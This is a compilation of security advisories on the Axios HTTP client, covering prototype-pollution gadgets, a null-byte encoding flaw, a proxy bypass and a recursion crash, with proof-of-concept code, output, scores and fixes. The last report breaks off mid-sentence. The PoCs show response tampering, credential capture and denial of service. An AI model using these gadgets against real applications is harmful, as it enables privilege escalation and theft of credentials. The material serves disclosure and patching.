Summary
A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.
The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.
Prerequisites:
A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).
Details
The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:
javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... }
Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:
1. utils.isFormData(data) — lib/utils.js javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }
2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders)
PoC
javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; };
// Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALIDUSERTOKEN' } } );
Impact
- Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H)
Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.
Recommended Fix
Add an explicit own-property check in lib/adapters/http.js:
diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders());
Summary
When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.
---
Background: how mergeConfig builds the config object
Every axios request goes through Axios.request in lib/core/Axios.js#L76:
js config = mergeConfig(this.defaults, config);
Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):
js const config = {};
A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.
---
Gadget 1: parseReviver -- response tampering and exfiltration
Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6
Root cause
The default transformResponse function calls JSON.parse(data, this.parseReviver):
js return JSON.parse(data, this.parseReviver);
this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.
The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:
js forcedJSONParsing: true,
which activates the JSON parse path unconditionally when responseType is unset.
JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.
There is no interaction with assertOptions here. The assertOptions call in Axios.request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.
Verification: own-property check
js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default;
const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution)
Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver;
Proof of concept
Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.
Terminal 1 -- server (servergadget1.mjs):
js import http from 'http';
const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tokrealabc' })); });
server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); });
$ node servergadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET /
Terminal 2 -- client (pocparsereviver.mjs):
js import axios from 'axios';
// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via .merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; };
const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data));
delete Object.prototype.parseReviver;
$ node pocparsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tokrealabc" [app] received: {"role":"admin","balance":999999,"token":"tokrealabc"}
The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.
---
Gadget 2: transport -- full HTTP request hijacking with credentials
Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)
Root cause
Inside the Node.js http adapter at lib/adapters/http.js#L676:
js if (config.transport) { transport = config.transport; }
transport is listed in mergeMap inside mergeConfig (line 88):
js transport: defaultToConfig2,
but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.
The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.
The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:
- options.hostname, options.port, options.path -- full target URL - options.auth -- basic auth credentials in "username:password" form (set at line 606) - options.headers -- all request headers as a plain object
Proof of concept
Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.
Terminal 1 -- server (servergadget2.mjs):
js import http from 'http';
const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); });
server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); });
$ node servergadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==
Terminal 2 -- client (poctransport.mjs):
js import axios from 'axios'; import http from 'http';
Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, };
const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svcaccount', password: 'hunter2' }, }); console.log('[app] response status:', res.status);
delete Object.prototype.transport;
$ node poctransport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svcaccount:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, /","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200
The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.
---
Additional gadget: transformRequest / transformResponse
Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.
This one requires a discriminator because assertOptions in Axios.request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).
Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.
---
Why the existing fix does not cover these
PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"proto": {"x": 1}} as the config object, which caused mergeMap['proto'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on proto, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....
That fix only addresses config keys that are explicitly set to proto (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.
---
Suggested fixes
For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);
For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );
For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }
The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.
---
Environment
- axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified
Disclosure
Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.
Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
Summary
The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.
This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.
Severity: Low (CVSS 3.7) Affected Versions: All versions containing this charMap entry Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21
CWE
- CWE-626: Null Byte Interaction Error (Poison Null Byte) - CWE-116: Improper Encoding or Escaping of Output
CVSS 3.1
Score: 3.7 (Low)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Attacker controls input parameters remotely | | Attack Complexity | High | Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact limited to HTTP request URL | | Confidentiality | None | No confidentiality impact | | Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser | | Availability | None | No availability impact |
Vulnerable Code
File: lib/helpers/AxiosURLSearchParams.js, lines 13-26
javascript function encode(str) { const charMap = { '!': '%21', // literal → encoded (SAFE direction) "'": '%27', // literal → encoded (SAFE direction) '(': '%28', // literal → encoded (SAFE direction) ')': '%29', // literal → encoded (SAFE direction) '~': '%7E', // literal → encoded (SAFE direction) '%20': '+', // standard transformation (SAFE) '%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!) }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); }
Why the Standard Flow Is NOT Affected
javascript // buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's const encode = (options && options.encode) || encode; // buildURL's encode
// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams new AxiosURLSearchParams(params, options).toString(encode); // external encoder used
// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used const encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode; // ^^^^^^ // internal encode passed as 2nd arg but only used if // the external encoder explicitly delegates to it
Proof of Concept
javascript import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js'; import buildURL from './lib/helpers/buildURL.js';
// Test 1: Direct AxiosURLSearchParams (VULNERABLE path) const params = new AxiosURLSearchParams({ file: 'test\x00.txt' }); const result = params.toString(); // NO encoder → uses internal encode with charMap console.log('Direct toString():', JSON.stringify(result)); // Output: "file=test\u0000.txt" (contains raw null byte) console.log('Hex:', Buffer.from(result).toString('hex')); // Output: 66696c653d74657374002e747874 (00 = null byte)
// Test 2: Via buildURL (NOT vulnerable — standard axios flow) const url = buildURL('http://example.com/api', { file: 'test\x00.txt' }); console.log('Via buildURL:', url); // Output: http://example.com/api?file=test%00.txt (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt" Contains raw null byte: true Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt Contains raw null byte: false Contains safe %00: true
Impact Analysis
Primary impact is limited because the standard axios request flow is not affected. However:
- Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected - Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug - Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case
If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.
Recommended Fix
Remove the %00 entry from charMap and update the regex:
javascript function encode(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', // REMOVED: '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) { // ^^^^ removed |%00 return charMap[match]; }); }
Resources
- CWE-626: Null Byte Interaction Error - CWE-116: Improper Encoding or Escaping of Output - OWASP: Embedding Null Code - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS | | TBD | Report submitted to vendor via GitHub Security Advisory |
Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.
Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured | | Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) | |---|---|---|---|---| | PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver | | Fixed by 1.15.0? | Yes | No | No | No | | Constraints | N/A (fixed) | Must return true | None | None | | Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification | | Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible | | Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair | | Validated? | N/A | assertOptions validates | Not validated | Not validated | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { / malicious / } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ],
Proof of Concept
javascript import http from 'http'; import axios from './index.js';
// Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port;
// === Before Pollution === const before = await axios.get(http://127.0.0.1:${port}/api/me); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged };
// === After Pollution — same code, same URL === const after = await axios.get(http://127.0.0.1:${port}/api/me); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver; server.close();
Verified PoC Output
[1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier
[3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user
2. Financial Manipulation
javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected
3. Security Control Bypass
javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
- Affects every Axios request that receives a JSON response - The response structure is intact — only specific values are changed - No errors, no crashes, no suspicious behavior - Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
javascript // In lib/core/mergeConfig.js const config = Object.create(null);
Fix 3: Validate parseReviver type and source
javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true | | axios30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception | | axios31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
1. Different polluted properties: Each targets a different Object.prototype key. 2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call. 3. Different fix locations: Fixing mergeConfig.js (axios26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios30) does NOT fix this either. Each requires a separate patch. 4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
- CWE-1321: Prototype Pollution - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - MDN: JSON.parse reviver - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |
Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';
function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }
try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded
Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
